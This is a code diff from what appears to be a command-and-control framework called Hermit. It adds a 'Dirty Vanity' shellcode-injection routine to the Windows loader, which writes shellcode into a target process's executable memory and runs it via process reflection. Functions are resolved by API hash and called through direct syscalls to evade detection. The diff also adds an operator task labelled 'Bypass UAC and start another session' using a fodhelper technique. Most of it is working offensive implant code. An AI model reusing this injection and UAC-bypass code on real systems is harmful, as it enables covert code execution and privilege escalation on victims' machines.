std::vector& bytes ); + BOOL DirtyVanity( + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes + ); } #endif // HERMIT_CORE_TECHNIQUE_HPP \ No newline at end of file diff --git a/payload/win/loader/script/calc_api_hash.py b/payload/win/loader/script/calc_api_hash.py index 95ad77f..48597bd 100644 --- a/payload/win/loader/script/calc_api_hash.py +++ b/payload/win/loader/script/calc_api_hash.py @@ -32,6 +32,7 @@ "NtWaitForSingleObject", "NtWriteFile", "RtlAllocateHeap", + "RtlCreateProcessReflection", "RtlCreateUserThread", "RtlExpandEnvironmentStrings", "RtlGetFullPathName_U", diff --git a/payload/win/loader/src/core/procs.cpp b/payload/win/loader/src/core/procs.cpp index 2931fb3..5e0cf97 100644 --- a/payload/win/loader/src/core/procs.cpp +++ b/payload/win/loader/src/core/procs.cpp @@ -60,76 +60,78 @@ namespace Procs PPROCS pProcs = new PROCS; // NTAPI - PVOID pNtAllocateVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTALLOCATEVIRTUALMEMORY); - pProcs->lpNtAllocateVirtualMemory = reinterpret_cast(pNtAllocateVirtualMemory); - PVOID pNtClose = GetProcAddressByHash(hNTDLL, APIHASH_NTCLOSE); - pProcs->lpNtClose = reinterpret_cast(pNtClose); - PVOID pNtCreateFile = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATEFILE); - pProcs->lpNtCreateFile = reinterpret_cast(pNtCreateFile); - PVOID pNtCreateProcessEx = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATEPROCESSEX); - pProcs->lpNtCreateProcessEx = reinterpret_cast(pNtCreateProcessEx); - PVOID pNtCreateSection = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATESECTION); - pProcs->lpNtCreateSection = reinterpret_cast(pNtCreateSection); - PVOID pNtCreateThreadEx = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATETHREADEX); - pProcs->lpNtCreateThreadEx = reinterpret_cast(pNtCreateThreadEx); - PVOID pNtDuplicateObject = GetProcAddressByHash(hNTDLL, APIHASH_NTDUPLICATEOBJECT); - pProcs->lpNtDuplicateObject = reinterpret_cast(pNtDuplicateObject); - PVOID pNtFreeVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTFREEVIRTUALMEMORY); - pProcs->lpNtFreeVirtualMemory = reinterpret_cast(pNtFreeVirtualMemory); - PVOID pNtGetContextThread = GetProcAddressByHash(hNTDLL, APIHASH_NTGETCONTEXTTHREAD); - pProcs->lpNtGetContextThread = reinterpret_cast(pNtGetContextThread); - PVOID pNtMapViewOfSection = GetProcAddressByHash(hNTDLL, APIHASH_NTMAPVIEWOFSECTION); - pProcs->lpNtMapViewOfSection = reinterpret_cast(pNtMapViewOfSection); - PVOID pNtOpenProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENPROCESS); - pProcs->lpNtOpenProcess = reinterpret_cast(pNtOpenProcess); - PVOID pNtOpenProcessToken = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENPROCESSTOKEN); - pProcs->lpNtOpenProcessToken = reinterpret_cast(pNtOpenProcessToken); - PVOID pNtOpenThread = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENTHREAD); - pProcs->lpNtOpenThread = reinterpret_cast(pNtOpenThread); - PVOID pNtProtectVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTPROTECTVIRTUALMEMORY); - pProcs->lpNtProtectVirtualMemory = reinterpret_cast(pNtProtectVirtualMemory); - PVOID pNtQueryInformationFile = GetProcAddressByHash(hNTDLL, APIHASH_NTQUERYINFORMATIONFILE); - pProcs->lpNtQueryInformationFile = reinterpret_cast(pNtQueryInformationFile); - PVOID pNtQueryInformationProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTQUERYINFORMATIONPROCESS); - pProcs->lpNtQueryInformationProcess = reinterpret_cast(pNtQueryInformationProcess); - PVOID pNtQueryVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTQUERYVIRTUALMEMORY); - pProcs->lpNtQueryVirtualMemory = reinterpret_cast(pNtQueryVirtualMemory); - PVOID pNtReadFile = GetProcAddressByHash(hNTDLL, APIHASH_NTREADFILE); - pProcs->lpNtReadFile = reinterpret_cast(pNtReadFile); - PVOID pNtReadVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTREADVIRTUALMEMORY); - pProcs->lpNtReadVirtualMemory = reinterpret_cast(pNtReadVirtualMemory); - PVOID pNtResumeThread = GetProcAddressByHash(hNTDLL, APIHASH_NTRESUMETHREAD); - pProcs->lpNtResumeThread = reinterpret_cast(pNtResumeThread); - PVOID pNtSetContextThread = GetProcAddressByHash(hNTDLL, APIHASH_NTSETCONTEXTTHREAD); - pProcs->lpNtSetContextThread = reinterpret_cast(pNtSetContextThread); - PVOID pNtSetInformationProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTSETINFORMATIONPROCESS); - pProcs->lpNtSetInformationProcess = reinterpret_cast(pNtSetInformationProcess); - PVOID pNtTerminateProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTTERMINATEPROCESS); - pProcs->lpNtTerminateProcess = reinterpret_cast(pNtTerminateProcess); - PVOID pNtUnmapViewOfSection = GetProcAddressByHash(hNTDLL, APIHASH_NTUNMAPVIEWOFSECTION); - pProcs->lpNtUnmapViewOfSection = reinterpret_cast(pNtUnmapViewOfSection); - PVOID pNtWaitForSingleObject = GetProcAddressByHash(hNTDLL, APIHASH_NTWAITFORSINGLEOBJECT); - pProcs->lpNtWaitForSingleObject = reinterpret_cast(pNtWaitForSingleObject); - PVOID pNtWriteFile = GetProcAddressByHash(hNTDLL, APIHASH_NTWRITEFILE); - pProcs->lpNtWriteFile = reinterpret_cast(pNtWriteFile); - PVOID pNtWriteVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTWRITEVIRTUALMEMORY); - pProcs->lpNtWriteVirtualMemory = reinterpret_cast(pNtWriteVirtualMemory); - PVOID pRtlAllocateHeap = GetProcAddressByHash(hNTDLL, APIHASH_RTLALLOCATEHEAP); - pProcs->lpRtlAllocateHeap = reinterpret_cast(pRtlAllocateHeap); - PVOID pRtlCreateUserThread = GetProcAddressByHash(hNTDLL, APIHASH_RTLCREATEUSERTHREAD); - pProcs->lpRtlCreateUserThread = reinterpret_cast(pRtlCreateUserThread); - PVOID pRtlGetFullPathName_U = GetProcAddressByHash(hNTDLL, APIHASH_RTLGETFULLPATHNAME_U); - pProcs->lpRtlGetFullPathName_U = reinterpret_cast(pRtlGetFullPathName_U); - PVOID pRtlInitUnicodeString = GetProcAddressByHash(hNTDLL, APIHASH_RTLINITUNICODESTRING); - pProcs->lpRtlInitUnicodeString = reinterpret_cast(pRtlInitUnicodeString); - PVOID pRtlStringCchCatW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCCHCATW); - pProcs->lpRtlStringCchCatW = reinterpret_cast(pRtlStringCchCatW); - PVOID pRtlStringCchCopyW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCCHCOPYW); - pProcs->lpRtlStringCchCopyW = reinterpret_cast(pRtlStringCchCopyW); - PVOID pRtlStringCchLengthW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCCHLENGTHW); - pProcs->lpRtlStringCchLengthW = reinterpret_cast(pRtlStringCchLengthW); - PVOID pRtlZeroMemory = GetProcAddressByHash(hNTDLL, APIHASH_RTLZEROMEMORY); - pProcs->lpRtlZeroMemory = reinterpret_cast(pRtlZeroMemory); + PVOID pNtAllocateVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTALLOCATEVIRTUALMEMORY); + pProcs->lpNtAllocateVirtualMemory = reinterpret_cast(pNtAllocateVirtualMemory); + PVOID pNtClose = GetProcAddressByHash(hNTDLL, APIHASH_NTCLOSE); + pProcs->lpNtClose = reinterpret_cast(pNtClose); + PVOID pNtCreateFile = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATEFILE); + pProcs->lpNtCreateFile = reinterpret_cast(pNtCreateFile); + PVOID pNtCreateProcessEx = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATEPROCESSEX); + pProcs->lpNtCreateProcessEx = reinterpret_cast(pNtCreateProcessEx); + PVOID pNtCreateSection = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATESECTION); + pProcs->lpNtCreateSection = reinterpret_cast(pNtCreateSection); + PVOID pNtCreateThreadEx = GetProcAddressByHash(hNTDLL, APIHASH_NTCREATETHREADEX); + pProcs->lpNtCreateThreadEx = reinterpret_cast(pNtCreateThreadEx); + PVOID pNtDuplicateObject = GetProcAddressByHash(hNTDLL, APIHASH_NTDUPLICATEOBJECT); + pProcs->lpNtDuplicateObject = reinterpret_cast(pNtDuplicateObject); + PVOID pNtFreeVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTFREEVIRTUALMEMORY); + pProcs->lpNtFreeVirtualMemory = reinterpret_cast(pNtFreeVirtualMemory); + PVOID pNtGetContextThread = GetProcAddressByHash(hNTDLL, APIHASH_NTGETCONTEXTTHREAD); + pProcs->lpNtGetContextThread = reinterpret_cast(pNtGetContextThread); + PVOID pNtMapViewOfSection = GetProcAddressByHash(hNTDLL, APIHASH_NTMAPVIEWOFSECTION); + pProcs->lpNtMapViewOfSection = reinterpret_cast(pNtMapViewOfSection); + PVOID pNtOpenProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENPROCESS); + pProcs->lpNtOpenProcess = reinterpret_cast(pNtOpenProcess); + PVOID pNtOpenProcessToken = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENPROCESSTOKEN); + pProcs->lpNtOpenProcessToken = reinterpret_cast(pNtOpenProcessToken); + PVOID pNtOpenThread = GetProcAddressByHash(hNTDLL, APIHASH_NTOPENTHREAD); + pProcs->lpNtOpenThread = reinterpret_cast(pNtOpenThread); + PVOID pNtProtectVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTPROTECTVIRTUALMEMORY); + pProcs->lpNtProtectVirtualMemory = reinterpret_cast(pNtProtectVirtualMemory); + PVOID pNtQueryInformationFile = GetProcAddressByHash(hNTDLL, APIHASH_NTQUERYINFORMATIONFILE); + pProcs->lpNtQueryInformationFile = reinterpret_cast(pNtQueryInformationFile); + PVOID pNtQueryInformationProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTQUERYINFORMATIONPROCESS); + pProcs->lpNtQueryInformationProcess = reinterpret_cast(pNtQueryInformationProcess); + PVOID pNtQueryVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTQUERYVIRTUALMEMORY); + pProcs->lpNtQueryVirtualMemory = reinterpret_cast(pNtQueryVirtualMemory); + PVOID pNtReadFile = GetProcAddressByHash(hNTDLL, APIHASH_NTREADFILE); + pProcs->lpNtReadFile = reinterpret_cast(pNtReadFile); + PVOID pNtReadVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTREADVIRTUALMEMORY); + pProcs->lpNtReadVirtualMemory = reinterpret_cast(pNtReadVirtualMemory); + PVOID pNtResumeThread = GetProcAddressByHash(hNTDLL, APIHASH_NTRESUMETHREAD); + pProcs->lpNtResumeThread = reinterpret_cast(pNtResumeThread); + PVOID pNtSetContextThread = GetProcAddressByHash(hNTDLL, APIHASH_NTSETCONTEXTTHREAD); + pProcs->lpNtSetContextThread = reinterpret_cast(pNtSetContextThread); + PVOID pNtSetInformationProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTSETINFORMATIONPROCESS); + pProcs->lpNtSetInformationProcess = reinterpret_cast(pNtSetInformationProcess); + PVOID pNtTerminateProcess = GetProcAddressByHash(hNTDLL, APIHASH_NTTERMINATEPROCESS); + pProcs->lpNtTerminateProcess = reinterpret_cast(pNtTerminateProcess); + PVOID pNtUnmapViewOfSection = GetProcAddressByHash(hNTDLL, APIHASH_NTUNMAPVIEWOFSECTION); + pProcs->lpNtUnmapViewOfSection = reinterpret_cast(pNtUnmapViewOfSection); + PVOID pNtWaitForSingleObject = GetProcAddressByHash(hNTDLL, APIHASH_NTWAITFORSINGLEOBJECT); + pProcs->lpNtWaitForSingleObject = reinterpret_cast(pNtWaitForSingleObject); + PVOID pNtWriteFile = GetProcAddressByHash(hNTDLL, APIHASH_NTWRITEFILE); + pProcs->lpNtWriteFile = reinterpret_cast(pNtWriteFile); + PVOID pNtWriteVirtualMemory = GetProcAddressByHash(hNTDLL, APIHASH_NTWRITEVIRTUALMEMORY); + pProcs->lpNtWriteVirtualMemory = reinterpret_cast(pNtWriteVirtualMemory); + PVOID pRtlAllocateHeap = GetProcAddressByHash(hNTDLL, APIHASH_RTLALLOCATEHEAP); + pProcs->lpRtlAllocateHeap = reinterpret_cast(pRtlAllocateHeap); + PVOID pRtlCreateProcessReflection = GetProcAddressByHash(hNTDLL, APIHASH_RTLCREATEPROCESSREFLECTION); + pProcs->lpRtlCreateProcessReflection = reinterpret_cast(pRtlCreateProcessReflection); + PVOID pRtlCreateUserThread = GetProcAddressByHash(hNTDLL, APIHASH_RTLCREATEUSERTHREAD); + pProcs->lpRtlCreateUserThread = reinterpret_cast(pRtlCreateUserThread); + PVOID pRtlGetFullPathName_U = GetProcAddressByHash(hNTDLL, APIHASH_RTLGETFULLPATHNAME_U); + pProcs->lpRtlGetFullPathName_U = reinterpret_cast(pRtlGetFullPathName_U); + PVOID pRtlInitUnicodeString = GetProcAddressByHash(hNTDLL, APIHASH_RTLINITUNICODESTRING); + pProcs->lpRtlInitUnicodeString = reinterpret_cast(pRtlInitUnicodeString); + PVOID pRtlStringCchCatW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCCHCATW); + pProcs->lpRtlStringCchCatW = reinterpret_cast(pRtlStringCchCatW); + PVOID pRtlStringCchCopyW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCCHCOPYW); + pProcs->lpRtlStringCchCopyW = reinterpret_cast(pRtlStringCchCopyW); + PVOID pRtlStringCchLengthW = GetProcAddressByHash(hNTDLL, APIHASH_RTLSTRINGCCHLENGTHW); + pProcs->lpRtlStringCchLengthW = reinterpret_cast(pRtlStringCchLengthW); + PVOID pRtlZeroMemory = GetProcAddressByHash(hNTDLL, APIHASH_RTLZEROMEMORY); + pProcs->lpRtlZeroMemory = reinterpret_cast(pRtlZeroMemory); // WINAPI PVOID pCheckRemoteDebuggerPresent = GetProcAddressByHash(hKernel32DLL, APIHASH_CHECKREMOTEDEBUGGERPRESENT); @@ -191,6 +193,7 @@ namespace Procs pProcs->sysNtWaitForSingleObject = Syscalls::FindSyscall(reinterpret_cast(pNtWaitForSingleObject)); pProcs->sysNtWriteVirtualMemory = Syscalls::FindSyscall(reinterpret_cast(pNtWriteVirtualMemory)); pProcs->sysNtWriteFile = Syscalls::FindSyscall(reinterpret_cast(pNtWriteFile)); + pProcs->sysRtlCreateProcessReflection = Syscalls::FindSyscall(reinterpret_cast(pRtlCreateProcessReflection)); pProcs->sysRtlCreateUserThread = Syscalls::FindSyscall(reinterpret_cast(pRtlCreateUserThread)); pProcs->sysRtlInitUnicodeString = Syscalls::FindSyscall(reinterpret_cast(pRtlInitUnicodeString)); pProcs->sysRtlGetFullPathName_U = Syscalls::FindSyscall(reinterpret_cast(pRtlGetFullPathName_U)); diff --git a/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp b/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp index d99545c..3951195 100644 --- a/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/shellcode_injection.cpp @@ -1091,4 +1091,84 @@ namespace Technique::Injection return TRUE; } + + // Reference: + // https://github.com/deepinstinct/Dirty-Vanity + // This is required to reflective shellcode. + BOOL DirtyVanity( + Procs::PPROCS pProcs, + DWORD dwPID, + const std::vector& bytes + ) { + LPVOID lpBuffer = (LPVOID)bytes.data(); + SIZE_T dwBufferSize = bytes.size(); + + // HANDLE hProcess = System::Process::ProcessOpen( + // pProcs, + // dwPID, + // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE + // ); + HANDLE hProcess = OpenProcess( + PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE, + TRUE, + dwPID + ); + if (!hProcess) + { + return FALSE; + } + + LPVOID lpBaseAddr = System::Process::VirtualMemoryAllocate( + pProcs, + hProcess, + nullptr, + dwBufferSize, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ); + if (!lpBaseAddr) + { + System::Handle::HandleClose(pProcs, hProcess); + return FALSE; + } + + Stdout::DisplayMessageBoxA("VirtualMemoryAllocate OK", "DirtyVanity"); + + if (!System::Process::VirtualMemoryWrite( + pProcs, + hProcess, + lpBaseAddr, + lpBuffer, + dwBufferSize, + nullptr + )) { + System::Handle::HandleClose(pProcs, hProcess); + return FALSE; + } + + Stdout::DisplayMessageBoxA("VirtualMmeoryWrite OK", "DirtyVanity"); + + RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = {0}; + NTSTATUS status = CallSysInvoke( + &pProcs->sysRtlCreateProcessReflection, + pProcs->lpRtlCreateProcessReflection, + hProcess, + RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, + lpBaseAddr, + nullptr, + nullptr, + &info + ); + if (status != STATUS_SUCCESS) + { + System::Handle::HandleClose(pProcs, hProcess); + return FALSE; + } + + Stdout::DisplayMessageBoxA("RtlCreateProcessREflection OK", "DirtyVanity"); + + System::Handle::HandleClose(pProcs, hProcess); + + return TRUE; + } } \ No newline at end of file diff --git a/payload/win/loader/src/hermit.cpp b/payload/win/loader/src/hermit.cpp index ab22313..a4e16d1 100644 --- a/payload/win/loader/src/hermit.cpp +++ b/payload/win/loader/src/hermit.cpp @@ -283,6 +283,14 @@ namespace Hermit bytes ); } + else if (wcscmp(pState->lpPayloadTechnique, L"dirty-vanity") == 0) + { + Technique::Injection::DirtyVanity( + pState->pProcs, + dwTargetPID, + bytes + ); + } State::Free(pState); return; diff --git a/pkg/client/rpc/request.go b/pkg/client/rpc/request.go index c7d4567..07261a5 100644 --- a/pkg/client/rpc/request.go +++ b/pkg/client/rpc/request.go @@ -290,6 +290,7 @@ func RequestAgentGetById(clientState *state.ClientState, agentId uint) (*agent.A uint(r.GetJitter()), uint(r.GetKillDate()), newAES, + r.SessionId, ) if err != nil { return nil, err @@ -335,6 +336,7 @@ func RequestAgentGetAll(clientState *state.ClientState) ([]*agent.Agent, error) uint(ag.Jitter), uint(ag.KillDate), newAES, + ag.SessionId, ) if err != nil { return nil, err diff --git a/pkg/common/parser/amtaskcommand.go b/pkg/common/parser/amtaskcommand.go index 830b4c6..d366e4c 100644 --- a/pkg/common/parser/amtaskcommand.go +++ b/pkg/common/parser/amtaskcommand.go @@ -273,6 +273,32 @@ type amTaskEnvCmd struct { // Set amTaskEnvSetCmd `cmd:"" help:"Set environmant variable."` } +// FIND +type amTaskFindCmd struct { + Name string `short:"n" optional:"" help:"Specify the name of files/directories to find."` + Path string `arg:"" default:"." help:"Specify the path to start finding."` +} + +func (c *amTaskFindCmd) Run( + ctx *kong.Context, + serverState *servState.ServerState, + clientState *cliState.ClientState, +) error { + task, err := _task.NewTask("find", map[string]string{ + "name": c.Name, + "path": c.Path, + }) + if err != nil { + return err + } + + err = handler.HandleAmTaskSet(task, serverState, clientState) + if err != nil { + return err + } + return nil +} + // GROUP type amTaskGroupLsCmd struct{} @@ -1067,6 +1093,41 @@ func (c *amTaskTokenCmd) Run( return nil } +// UAC +type amTaskUacCmd struct{} + +func (c *amTaskUacCmd) Run( + ctx *kong.Context, + serverState *servState.ServerState, + clientState *cliState.ClientState, +) error { + // Select technique + technique, err := stdin.Select("Technique", []string{ + "fodhelper", + "(cancel)", + }) + if err != nil { + return err + } + if technique == "(cancel)" { + stdout.LogWarn("Canceled") + return nil + } + + task, err := _task.NewTask(ctx.Args[0], map[string]string{ + "technique": technique, + }) + if err != nil { + return err + } + + err = handler.HandleAmTaskSet(task, serverState, clientState) + if err != nil { + return err + } + return nil +} + // UPLOAD type amTaskUploadCmd struct { Src string `arg:"" required:"" type:"path" help:"Specify source path to upload."` diff --git a/pkg/common/parser/parser.go b/pkg/common/parser/parser.go index 10c119f..de7ea0a 100644 --- a/pkg/common/parser/parser.go +++ b/pkg/common/parser/parser.go @@ -65,7 +65,7 @@ type GrammarAgentMode struct { Download amTaskDownloadCmd `cmd:"" help:"Download a file." group:"TASK:"` Env amTaskEnvCmd `cmd:"" help:"Manage environment variables." group:"TASK:"` Envs amTaskEnvLsCmd `cmd:"" help:"alias for 'env ls'" group:"TASK:"` - // Find amTaskFindCmd `cmd:"" help:"Find files." group:"TASK:"` + Find amTaskFindCmd `cmd:"" help:"Find files." group:"TASK:"` Group amTaskGroupCmd `cmd:"" help:"Manage groups." group:"TASK:"` Groups amTaskGroupLsCmd `cmd:"" help:"Alias for 'group ls'." group:"TASK:"` History amTaskHistoryCmd `cmd:"" help:"Retrieve information from history files of applications" group:"TASK:"` @@ -99,6 +99,7 @@ type GrammarAgentMode struct { // Socks amTaskSocksCmd `cmd:"" help:"" group:"TASK:"` // Sysinfo amTaskSysinfoCmd `cmd:"" help:"Print system information." group:"TASK:"` Token amTaskTokenCmd `cmd:"" help:"Manage tokens." group:"TASK:"` + Uac amTaskUacCmd `cmd:"" help:"Bypass UAC and start another session." group:"TASK:"` Upload amTaskUploadCmd `cmd:"" help:"Upload a file to the target computer." group:"TASK:"` User amTaskUserCmd `cmd:"" help:"Manage users." group:"TASK:"` Users amTaskUserLsCmd `cmd:"" help:"Alias for 'user ls'." group:"TASK:"` diff --git a/pkg/common/utils/random.go b/pkg/common/utils/random.go index 4af25bb..0cabd23 100644 --- a/pkg/common/utils/random.go +++ b/pkg/common/utils/random.go @@ -5,6 +5,8 @@ import ( "strings" ) +const alphanum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + var animalNames = []string{ "aardvark", "alphabeetle", "aquafox", "ayeaye", "betafox", "blazewolf", @@ -78,6 +80,14 @@ func GenerateRandomInt(min int, max int) int { return rand.Intn(max-min) + min } +func GenerateRandomAlphaNum(length int) string { + randStr := make([]byte, length) + for i := range randStr { + randStr[i] = alphanum[rand.Intn(len(alphanum))] + } + return string(randStr) +} + func GenerateRandomPort() uint16 { randomPort := GenerateRandomInt(49152, 65535) return uint16(randomPort) diff --git a/pkg/common/wizard/payload.go b/pkg/common/wizard/payload.go index b13c283..2a0f9d4 100644 --- a/pkg/common/wizard/payload.go +++ b/pkg/common/wizard/payload.go @@ -411,6 +411,7 @@ func WizardPayloadLoader( "address-of-entry-point-injection", "module-stomping", // "process-mockingjay", + "dirty-vanity", } } for { @@ -432,7 +433,8 @@ func WizardPayloadLoader( oTechnique == "thread-execution-hijacking" || oTechnique == "via-memory-sections" || oTechnique == "address-of-entry-point-injection" || - oTechnique == "module-stomping" { + oTechnique == "module-stomping" || + oTechnique == "dirty-vanity" { for { res, err := stdin.ReadInput("Target Process to be Injected", "notepad.exe") if err != nil { diff --git a/pkg/protobuf/rpcpb/rpc.pb.go b/pkg/protobuf/rpcpb/rpc.pb.go index d29ad21..8d38dfe 100644 --- a/pkg/protobuf/rpcpb/rpc.pb.go +++ b/pkg/protobuf/rpcpb/rpc.pb.go @@ -707,6 +707,7 @@ type Agent struct { KillDate int64 `protobuf:"varint,13,opt,name=killDate,proto3" json:"killDate,omitempty"` AesKey string `protobuf:"bytes,14,opt,name=aesKey,proto3" json:"aesKey,omitempty"` AesIV string `protobuf:"bytes,15,opt,name=aesIV,proto3" json:"aesIV,omitempty"` + SessionId string `protobuf:"bytes,16,opt,name=sessionId,proto3" json:"sessionId,omitempty"` } func (x *Agent) Reset() { @@ -846,6 +847,13 @@ func (x *Agent) GetAesIV() string { return "" } +func (x *Agent) GetSessionId() string { + if x != nil { + return x.SessionId + } + return "" +} + type Task struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1046,7 +1054,7 @@ var file_rpcpb_rpc_proto_rawDesc = []byte{ 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x74, 0x79, 0x70, 0x65, 0x41, 0x72, 0x67, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x74, 0x79, 0x70, 0x65, 0x41, 0x72, 0x67, 0x73, 0x22, 0xed, 0x02, 0x0a, 0x05, + 0x09, 0x52, 0x08, 0x74, 0x79, 0x70, 0x65, 0x41, 0x72, 0x67, 0x73, 0x22, 0x8b, 0x03, 0x0a, 0x05, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x75, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x75, 0x75, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, @@ -1069,115 +1077,117 @@ var file_rpcpb_rpc_proto_rawDesc = []byte{ 0x01, 0x28, 0x03, 0x52, 0x08, 0x6b, 0x69, 0x6c, 0x6c, 0x44, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x65, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x61, 0x65, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x61, 0x65, 0x73, 0x49, 0x56, 0x18, 0x0f, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x61, 0x65, 0x73, 0x49, 0x56, 0x22, 0x38, 0x0a, 0x04, 0x54, - 0x61, 0x73, 0x6b, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x61, 0x73, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x74, 0x61, 0x73, 0x6b, 0x12, 0x1c, 0x0a, 0x09, 0x61, 0x67, 0x65, 0x6e, 0x74, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x61, 0x67, 0x65, 0x6e, - 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x3c, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x1c, 0x0a, - 0x09, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x09, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, - 0x69, 0x6c, 0x74, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x6c, - 0x74, 0x65, 0x72, 0x32, 0xd8, 0x0b, 0x0a, 0x09, 0x48, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x52, 0x50, - 0x43, 0x12, 0x30, 0x0a, 0x08, 0x53, 0x61, 0x79, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, - 0x65, 0x22, 0x00, 0x12, 0x32, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, - 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, - 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, 0x00, 0x12, 0x38, 0x0a, 0x10, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x72, 0x70, - 0x63, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x1a, 0x11, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x22, - 0x00, 0x12, 0x3b, 0x0a, 0x14, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x42, 0x79, 0x55, 0x75, 0x69, 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x55, 0x75, 0x69, 